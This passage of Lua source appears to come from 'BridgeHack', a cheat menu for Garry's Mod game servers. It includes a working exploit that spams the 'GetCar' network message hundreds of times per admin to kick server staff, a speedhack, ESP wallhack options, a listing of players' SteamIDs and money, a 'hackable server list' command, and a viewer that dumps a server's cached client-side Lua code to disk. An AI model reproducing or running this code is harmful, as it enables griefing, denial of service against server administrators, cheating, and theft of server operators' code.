1769 end):SetImage( "icon16/book_key.png" )
1770
1771 exploitshacks:AddOption( " [ON] MX RADIO KICK ADMINS",function()
1772 chatP("Kicking admins, Including anyone who isnt a user")
1773 ply:ConCommand("rf_mx_kickadmins")
1774 timer.Create( "Kickthenoobs"..BridgeHack.RandomVar, 3, 0, function()
1775 for k,v in ipairs(player.GetAll()) do
1776 if( v:GetUserGroup() != "user" ) then
1777 if v:Nick() != (ply:Nick()) then
1778 for i=0, 700 do
1779 net.Start( "GetCar" )
1780 net.WriteEntity(v)
1781 net.WriteEntity(v)
1782 net.SendToServer()
1783 end
1784 chatP('Attempting to kick '.. v:Nick())
1785 end
1786 end
1787 end
1788 end)
1789 end):SetImage( "icon16/wand.png" )
1790
1791 exploitshacks:AddOption( " [OFF] MX RADIO KICK ADMINS",function()
1792 chatP("Stopping the kicks")
1793 timer.Destroy( "Kickthenoobs"..BridgeHack.RandomVar, 3, 0, function() end)
1794 end):SetImage( "icon16/wand.png" )
1795
1796 local Misc = menu:AddSubMenu(" Misc ")
1797
1798 Misc:AddOption( "Hackable Server List",function()
1799 ply:ConCommand("rf_serverlist")
1800 end):SetImage( "icon16/book.png" )
1801
1802 Misc:AddOption( "Changelog",function()
1803 ChangeLogMenu()
1804 end):SetImage( "icon16/book.png" )
1805
1806 Misc:AddOption( "List Rank - Playername - Money",function()
1807 chatP( "Check Console\n" )
1808 consoleP("(NAME)-(STEAMID)-(CASH)\n\n\n")
1809 for k,v in pairs(player.GetAll()) do
1810 local playermoney = (v.DarkRPVars and v.DarkRPVars.money) or 0
1811 if v:IsAdmin() then
1812 consoleP("(ADMIN!) - (" .. v:Nick() .. ") - (" .. v:SteamID() .. ") - ($" .. playermoney .. ")")
1813 else
1814 consoleP("(USER) - (" .. v:Nick() .. ") - (" .. v:SteamID() .. ") - ($" .. playermoney .. ")")
1815 end
1816 end
1817 end):SetImage( "icon16/text_align_center.png" )
1818
1819 Misc:AddOption( "Check exploits", function()
1820 ply:ConCommand("rf_check")
1821end ):SetImage( "icon16/book_addresses.png" )
1822
1823 Misc:AddOption( "ClientSide Lua Viewer",function()
1824 chatP("Opening clientside lua viewer...")
1825 ply:ConCommand("rf_lua")
1826 end):SetImage( "icon16/application_osx_terminal.png" )
1827
1828 if ply:SteamID() == "STEAM_0:1:72983039" or ply:SteamID() == "STEAM_0:1:61639885" then
1829 local DebugMenu = menu:AddSubMenu(" Debug Settings")
1830 DebugMenu:AddOption(" Reset Default Config.", function()
1831 Debug("Resetting Cheat Variables...")
1832 ResetCvar("rf_menu_effects", 1)
1833 ResetCvar("rf_firstload_correct", 0)
1834 ResetCvar("rf_chat_status",0)
1835 ResetCvar("rf_cheats_enabled_on_start", 0)
1836 ResetCvar("rf_cheats_svlua_enabled_on_start", 0)
1837 ResetCvar("rf_showhud", 1)
1838 ResetCvar("rf_notify", 1)
1839 end)
1840
1841 DebugMenu:AddOption(" Debug",function()
1842 for k,v in pairs(player.GetAll()) do
1843 chatP(LocalPlayer():GetPos():Distance(v:GetPos()) .. " | ".. v:Nick())
1844 end
1845 end)
1846 end
1847
1848 menu:AddSpacer()
1849
1850 menu:AddOption( "Config Menu", function()
1851 local DermaPanel = vgui.Create( "DFrame" )
1852 DermaPanel:SetPos( 100, 100 )
1853 DermaPanel:SetSize( 300, 400 )
1854 DermaPanel:SetTitle( " " )
1855 DermaPanel:SetVisible( true )
1856 DermaPanel:SetDraggable( true )
1857 DermaPanel:ShowCloseButton( false )
1858 function DermaPanel:Paint( w, h )
1859 draw.RoundedBox( 4, 0, 0, w, h, Color( 10, 10, 10, 220) )
1860 draw.RoundedBoxEx( 4, 0, 0, w, 22, Color( 240, 85, 0, 220), true, true, false, false )
1861 draw.SimpleText( "BridgeHack Configuration Menu", "PopupFont", 6, 2, Color( 255,255,255 ), 0, 0 )
1862 end
1863
1864 local Button = vgui.Create("DButton", DermaPanel)
1865 Button:SetPos( 250, 2 )
1866 Button:SetSize( 45, 19 )
1867 Button:SetText( "" )
1868 Button:SetTextColor( Color( 255, 255, 255) )
1869 function Button:Paint( w, h )
1870 draw.RoundedBoxEx( 4, 0, 0, w, h, Color(0,0,0,150) )
1871 draw.SimpleText( "Close", "HeaderFont", 2, -2, Color( 255,255,255 ), 0, 0 )
1872 end
1873 Button.DoClick = function()
1874 DermaPanel:Close()
1875 end
1876
1877 DermaPanel:MakePopup()
1878
1879 local ESPMixer = vgui.Create( "DColorMixer", DermaPanel )
1880 ESPMixer:SetPos( 10,170)
1881 ESPMixer:SetSize(100,100)--Make Mixer fill place of Frame
1882 ESPMixer:SetPalette( false ) --Show/hide the paletteDEF:true
1883 ESPMixer:SetAlphaBar( true ) --Show/hide the alpha barDEF:true
1884 ESPMixer:SetWangs( false ) --Show/hide the R G B A indicators DEF:true
1885 ESPMixer:SetColor( Color(GetConVarNumber("rf_esp_infocolor_r"),GetConVarNumber("rf_esp_infocolor_g"),GetConVarNumber("rf_esp_infocolor_b")) )--Set the default color
1886 daespvector = ESPMixer:GetColor()
1887
1888 local ESPMixButton = vgui.Create( "DButton",DermaPanel )
1889 ESPMixButton:SetPos( 5, 265 )
1890 ESPMixButton:SetText( "Set ESP Color" )
1891 ESPMixButton:SetSize( 120, 15 )
1892 ESPMixButton.DoClick = function()
1893 print(daespvector)
1894 ply:ConCommand("rf_esp_infocolor_r "..daespr)
1895 ply:ConCommand("bh_esp_infocolor_g "..daespg)
1896 ply:ConCommand("rf_esp_infocolor_b "..daespb)
1897 end
1898
1899 local EspBoxes = vgui.Create( "DCheckBoxLabel", DermaPanel )// Create the checkbox
1900 EspBoxes:SetPos( 10, 25 )// Set the position
1901 EspBoxes:SetValue( GetConVarNumber("rf_esp_box") )// Initial value ( will determine whether the box is ticked too )
1902 EspBoxes:SetText("ESP Boxes")
1903 EspBoxes:SetConVar( "rf_esp_box" )
1904 EspBoxes:SizeToContents()
1905
1906 local ShowHP = vgui.Create( "DCheckBoxLabel", DermaPanel )// Create the checkbox
1907 ShowHP:SetPos( 10, 45 )// Set the position
1908 ShowHP:SetValue( GetConVarNumber("rf_esp_hp") )// Initial value ( will determine whether the box is ticked too )
1909 ShowHP:SetText("Show HP On ESP")
1910 ShowHP:SetConVar( "rf_esp_hp" )
1911 ShowHP:SizeToContents()
1912
1913 local ShowRank = vgui.Create( "DCheckBoxLabel", DermaPanel )// Create the checkbox
1914 ShowRank:SetPos( 10, 65 )// Set the position
1915 ShowRank:SetValue( GetConVarNumber("rf_esp_rank") )// Initial value ( will determine whether the box is ticked too )
1916 ShowRank:SetText("Show Rank On ESP")
1917 ShowRank:SetConVar( "rf_esp_rank" )
1918 ShowRank:SizeToContents()
1919
1920 local Rdistance = vgui.Create( "DCheckBoxLabel", DermaPanel )// Create the checkbox
1921 Rdistance:SetPos( 10, 85 )// Set the position
1922 Rdistance:SetValue( GetConVarNumber("rf_renderdistance_enable") )// Initial value ( will determine whether the box is ticked too )
1923 Rdistance:SetText("Use a Maximum render distance")
1924 Rdistance:SetConVar( "bh_renderdistance_enable" )
1925 Rdistance:SizeToContents()
1926
1927 local Rdistance = vgui.Create( "DCheckBoxLabel", DermaPanel )// Create the checkbox
1928 Rdistance:SetPos( 10, 105 )// Set the position
1929 Rdistance:SetValue( GetConVarNumber("rf_notify") )// Initial value ( will determine whether the box is ticked too )
1930 Rdistance:SetText("Top Scrolling Message")
1931 Rdistance:SetConVar( "bh_notify" )
1932 Rdistance:SizeToContents()
1933
1934 local PlaySound = vgui.Create( "DCheckBoxLabel", DermaPanel )// Create the checkbox
1935 PlaySound:SetPos( 10, 125 )// Set the position
1936 PlaySound:SetValue( GetConVarNumber("rf_playsound") )// Initial value ( will determine whether the box is ticked too )
1937 PlaySound:SetText("Menu sounds")
1938 PlaySound:SetConVar( "rf_playsound" )
1939 PlaySound:SizeToContents()
1940
1941 local RenderDistance = vgui.Create( "DNumSlider", DermaPanel )
1942 RenderDistance:SetPos( 25, 145) // Set the position
1943 RenderDistance:SetSize( 280, 25 ) // Set the size
1944 RenderDistance:SetText( "Max Render Distance" ) // Set the text above the slider
1945 RenderDistance:SetMin( 0 ) // Set the minimum number you can slide to
1946 RenderDistance:SetMax( 5000 )// Set the maximum number you can slide to
1947 RenderDistance:SetDecimals( 1 ) // Decimal places - zero for whole number
1948 RenderDistance:SetConVar( "rf_esp_rdistance" ) // Changes the ConVar when you slide
1949 end ):SetImage( "icon16/wrench.png" )
1950
1951 menu:Open()
1952 end)
1953
1954 concommand.Add("-rf_menu", function( ply )
1955 status("Menu Closed.")
1956 if GetConVarNumber("rf_menu_effects") == 1 then
1957 hook.Add( "RenderScreenspaceEffects", "BlurBG", blur_off )
1958 end
1959 local menu = DermaMenu()
1960 end)
1961
1962 function ESP_on( )
1963 ply:ConCommand("rf_esp 1")
1964 end
1965
1966 function ESP_off( )
1967 ply:ConCommand("rf_esp 0")
1968 end
1969
1970 function speedhack_on( )
1971 ply:ConCommand("host_framerate 8;host_framerate 8")
1972 status("Enabled SpeedHack")
1973 end
1974
1975 function speedhack_off( )
1976 ply:ConCommand("host_framerate 0;host_framerate 0")
1977 status("Disabled SpeedHack")
1978 end
1979
1980 -- CL LUAVIEWER */ require("stringtables") local escapejs = { ["\\"] = "\\\\", ["\0"] = "\\0" , ["\b"] = "\\b" , ["\t"] = "\\t" , ["\n"] = "\\n" , ["\v"] = "\\v" , ["\f"] = "\\f" , ["\r"] = "\\r" , ["\""] = "\\\"", ["\'"] = "\\\'" } function string.JavascriptSafe( str ) str = str:gsub( ".", escapejs ) str = str:gsub( "\226\128\168", "\\\226\128\168" ) str = str:gsub( "\226\128\169", "\\\226\128\169" ) return str end local function GetLuaFiles(client_lua_files) local count = client_lua_files:Count() local ret = {} for i = 1, count - 2 do ret[i] = { Path = client_lua_files:GetString(i), CRC = client_lua_files:GetUserDataInt(i) } end return ret end local function GetLuaFileContents(crc) local fs = file.Open("cache/lua/" .. crc .. ".lua", "rb", "MOD") fs:Seek(4) local contents = util.Decompress(fs:Read(fs:Size() - 4)) return contents:sub(1, -2) end local function dumbFile(path, contents) if not path:match("%.txt$") then path = path..".txt" end local curdir = "" for t in path:gmatch("[^/\\*]+") do curdir = curdir..t if curdir:match("%.txt$") then print("writing: ", curdir) file.Write(curdir, contents) else curdir = curdir.."/" print("Creating: ", curdir) file.CreateDir(curdir) end end end local dumbFolderCache = "" local function dumbFolder(node) for _, subnode in ipairs(node.ChildNodes:GetChildren()) do if subnode:HasChildren() then dumbFolder(subnode) else dumbFile(dumbFolderCache..subnode.pathh, GetLuaFileContents(subnode.CRC)) end end end
1981
1982/*
1983[[----------------------------------------------------------------]]
1984[[----------------------------------------------------------------]]
1985 ____ ___ __ __
1986/\ _`\ /\_ \ __ /\ \__ __ /\ \
1987\ \ \/\_\//\ \ /\_\ __ ___\ \ ,_\ ____/\_\ \_\ \ __
1988 \ \ \/_/_\ \ \ \/\ \ /'__`\/' _ `\ \ \/ /',__\/\ \ /'_` \ /'__`\
1989 \ \ \ \ \\_\ \_\ \ \/\ __//\ \/\ \ \ \_/\__, `\ \ \/\ \ \ \/\ __/
1990 \ \____//\____\\ \_\ \____\ \_\ \_\ \__\/\____/\ \_\ \___,_\ \____\
1991 \/___/ \/____/ \/_/\/____/\/_/\/_/\/__/\/___/ \/_/\/__,_ /\/____/
1992/\ \ __
1993\ \ \ __ __ __ __ __ /\_\ __ __ __ __ __ _ __
1994 \ \ \ __/\ \/\ \ /'__`\ /\ \/\ \\/\ \ /'__`\/\ \/\ \/\ \ /'__`\/\`'__\
1995 \ \ \L\ \ \ \_\ \/\ \L\.\_ \ \ \_/ |\ \ \/\ __/\ \ \_/ \_/ \/\ __/\ \ \/
1996 \ \____/\ \____/\ \__/.\_\ \ \___/ \ \_\ \____\\ \___x___/'\ \____\\ \_\
1997 \/___/ \/___/ \/__/\/_/ \/__/ \/_/\/____/ \/__//__/ \/____/ \/_/
1998
1999[[----------------------------------------------------------------]]
2000[[----------------------------------------------------------------]] */ require("stringtables") local escapejs = { ["\\"] = "\\\\", ["\0"] = "\\0" , ["\b"] = "\\b" , ["\t"] = "\\t" , ["\n"] = "\\n" , ["\v"] = "\\v" , ["\f"] = "\\f" , ["\r"] = "\\r" , ["\""] = "\\\"", ["\'"] = "\\\'" } function string.JavascriptSafe( str ) str = str:gsub( ".", escapejs ) str = str:gsub( "\226\128\168", "\\\226\128\168" ) str = str:gsub( "\226\128\169", "\\\226\128\169" ) return str end local function GetLuaFiles(client_lua_files) local count = client_lua_files:Count() local ret = {} for i = 1, count - 2 do ret[i] = { Path = client_lua_files:GetString(i), CRC = client_lua_files:GetUserDataInt(i) } end return ret end local function GetLuaFileContents(crc) local fs = file.Open("cache/lua/" .. crc .. ".lua", "rb", "MOD") fs:Seek(4) local contents = util.Decompress(fs:Read(fs:Size() - 4)) return contents:sub(1, -2) end local function dumbFile(path, contents) if not path:match("%.txt$") then path = path..".txt" end local curdir = "" for t in path:gmatch("[^/\\*]+") do curdir = curdir..t if curdir:match("%.txt$") then print("writing: ", curdir) file.Write(curdir, contents) else curdir = curdir.."/" print("Creating: ", curdir) file.CreateDir(curdir) end end end local dumbFolderCache = "" local function dumbFolder(node) for _, subnode in ipairs(node.ChildNodes:GetChildren()) do if subnode:HasChildren() then dumbFolder(subnode) else dumbFile(dumbFolderCache..subnode.pathh, GetLuaFileContents(subnode.CRC)) end end end
2001
2002local VIEWER = {}
2003
2004function VIEWER:Init()
2005 self:SetTitle("BridgeHack Clientside Lua Viewer")
2006 self:SetSize(1200, 550)
2007 self:Center() self:ShowCloseButton( false ) self.Paint = function(s,w,h)
2008 surface.SetDrawColor(Color(108,153,192))
2009 surface.DrawRect( 0,0, w,h ) surface.SetDrawColor( Color(141,200,251) ) surface.DrawRect( 1,1, w-2,h-2 ) surface.SetDrawColor(Color(141,200,251)) surface.DrawRect( 2,2, w-4,h-4 ) surface.SetDrawColor(Color(108,153,192)) surface.DrawRect( 7.5,27.5, w-14,h-34) surface.SetTextColor(0,0,0) surface.SetFont("HeaderFont")
2010 surface.SetTextPos( (self:GetWide()/2) - (tostring( string.len( self.lblTitle:GetText() )) / 2*7.5), 2) self.lblTitle:SetColor(Color(0,0,0,0)) surface.DrawText( self.lblTitle:GetText() ) end self.close = vgui.Create( "DButton", self ) self.close:SetSize( 43,20 ) self.close:SetPos( self:GetWide()-7.5-self.close:GetWide(), -1 ) self.close:SetText("") self.close.Paint = function(s,w,h) surface.SetDrawColor( Color(199,80,80) ) surface.DrawRect( 0,0, w,h ) surface.SetTextColor(255,255,255) surface.SetFont("HeaderFont") surface.SetTextPos(18,-2) surface.DrawText( "x" ) end self.close.DoClick = function(s,w,h) self:Close() end self.tree = vgui.Create("DTree", self) self.tree:SetPos(8.5,28.5) self.tree:SetSize(self:GetWide()/2-200, self:GetTall()-36) self.tree.Directories = {} self.html = vgui.Create("DHTML", self) self.html:SetPos(self:GetWide()/2-200+8.5, 28.5) self.html:SetSize(self:GetWide()/2+200-16, self:GetTall()-36) self.html:OpenURL("https://metastruct.github.io/lua_editor/") client_lua_files = stringtable.Get "client_lua_files" local tree_data= {} for i, v in ipairs(GetLuaFiles(client_lua_files)) do if i == 1 then continue end local file_name = string.match(v.Path, ".*/([^/]+%.lua)") local dir_path = string.sub(v.Path, 1, -1 - file_name:len()) local file_crc = v.CRC local cur_dir = tree_data for dir in string.gmatch(dir_path, "([^/]+)/") do if not cur_dir[dir] then cur_dir[dir] = {} end cur_dir = cur_dir[dir] end cur_dir[file_name] = {fileN = file_name, CRC = file_crc} end local file_queue = {} local function iterate(data, node, path) path = path or "" for k, v in SortedPairs(data) do if type(v) == "table" and not v.CRC then local new_node = node:AddNode(k) new_node.DoRightClick = function() local dmenu = DermaMenu(new_node) dmenu:SetPos(gui.MouseX(), gui.MouseY()) dmenu:AddOption("Save Folder", function() dumbFolderCache = "cluaview/"..GetHostName()..dumbFolder(new_node) DrawFancyPopup("The folder ".. dumbFolder(new_node) .." has been saved as data/cluaview/".. GetHostName() .."/folders/".. dumbFolder(new_node) .."!") end) dmenu:Open() end iterate(v, new_node, path .. k .. "/") else table.insert(file_queue, {node = node, fileN = v.fileN, path = path .. v.fileN, CRC = v.CRC}) end end end iterate(tree_data, self.tree) for k, v in ipairs(file_queue) do local node = v.node:AddNode(v.fileN, "icon16/page_green.png") node.DoClick = function() self.html:QueueJavascript("SetContent('"..string.JavascriptSafe(GetLuaFileContents(v.CRC)).."')") end local hostname = GetHostName() hostname = hostname:gsub("|", "-") hostname = hostname:gsub("~", "-") hostname = hostname:gsub(" ", "") node.DoRightClick = function(self,node) local nodemenu = DermaMenu(node) nodemenu:AddOption("Save File", function() dumbFile("cluaview/".. string.lower(hostname) .."/"..v.fileN, GetLuaFileContents(v.CRC)) DrawFancyPopup("The file ".. v.fileN .." has been saved as data/cluaview/".. string.lower(hostname) .."/".. v.fileN .."!") end) nodemenu:Open() end node.CRC = v.CRC node.pathh = v.path
2011 end
2012 end
2013derma.DefineControl("dcluaviewer", "Clientside Lua Viewer", VIEWER, "DFrame")
2014
2015/*
2016[[----------------------------------------------------------------]]
2017[[----------------------------------------------------------------]]
2018 ____
2019/\ _`\
2020\ \ \L\_\ __ ___ ___ __ __
2021 \ \ _\/'__`\ /' _ `\ /'___\/\ \/\ \
2022 \ \ \/\ \L\.\_/\ \/\ \/\ \__/\ \ \_\ \
2023 \ \_\ \__/.\_\ \_\ \_\ \____\\/`____ \
2024 \/_/\/__/\/_/\/_/\/_/\/____/ `/___/> \
2025 /\___/
2026 \/__/
2027 ____
2028/\ _`\
2029\ \ \L\ \___ _____ __ __ _____
2030 \ \ ,__/ __`\/\ '__`\/\ \/\ \/\ '__`\
2031 \ \ \/\ \L\ \ \ \L\ \ \ \_\ \ \ \L\ \
2032 \ \_\ \____/\ \ ,__/\ \____/\ \ ,__/
2033 \/_/\/___/ \ \ \/ \/___/ \ \ \/
2034 \ \_\ \ \_\
2035 \/_/ \/_/
2036[[----------------------------------------------------------------]]
2037[[----------------------------------------------------------------]]
2038*/
2039
2040function DrawFancyPopup(message)
2041 fancyPopup = vgui.Create("DFrame")
2042 fancyPopup:SetSize(ScrW(), ScrH()) fancyPopup:SetPos(0, 0) fancyPopup:SetVisible( true ) fancyPopup:SetTitle("") fancyPopup:MakePopup() fancyPopup:ShowCloseButton( true ) fancyPopup.Paint = function(s,w,h) surface.SetDrawColor( Color(0,0,0,200) ) surface.DrawRect( 0,0, w,h ) surface.SetDrawColor( Color(13,136,69) ) surface.DrawRect( 0, w/2-fancyPopup:GetTall()/1.520, ScrW(), ScrH()/6.5 ) surface.SetTextColor(255,255,255) surface.SetFont("PopupFont") surface.SetTextPos(w/4.10, h/2.30) surface.DrawText( message ) end fancyPopupButton = vgui.Create("DButton", fancyPopup) fancyPopupButton:SetSize(110,32.5) fancyPopupButton:SetPos(fancyPopup:GetWide()/2+fancyPopup:GetWide()/10, fancyPopup:GetTall()/2.050) fancyPopupButton:SetText("") fancyPopupButton.Paint = function(s,w,h) surface.SetDrawColor( Color(255,255,255) ) surface.DrawRect( 0,0, w,h ) surface.SetDrawColor( Color(13,136,69) ) surface.DrawRect( 0+3,0+3, w-6,h-6 ) surface.SetTextColor(255,255,255) surface.SetFont("PopupFont") surface.SetTextPos(30.5,5.5) surface.DrawText( "Alright!" ) end fancyPopupButton.DoClick = function(s,w,h) fancyPopup:Close() end
2043end
2044
2045concommand.Add("testpopup", function() DrawFancyPopup("This is just a test button and nothing else you nutmpies. Pressing Alright does no shit at all!") end) concommand.Add("rf_lua", function() vgui.Create("dcluaviewer"):MakePopup() end)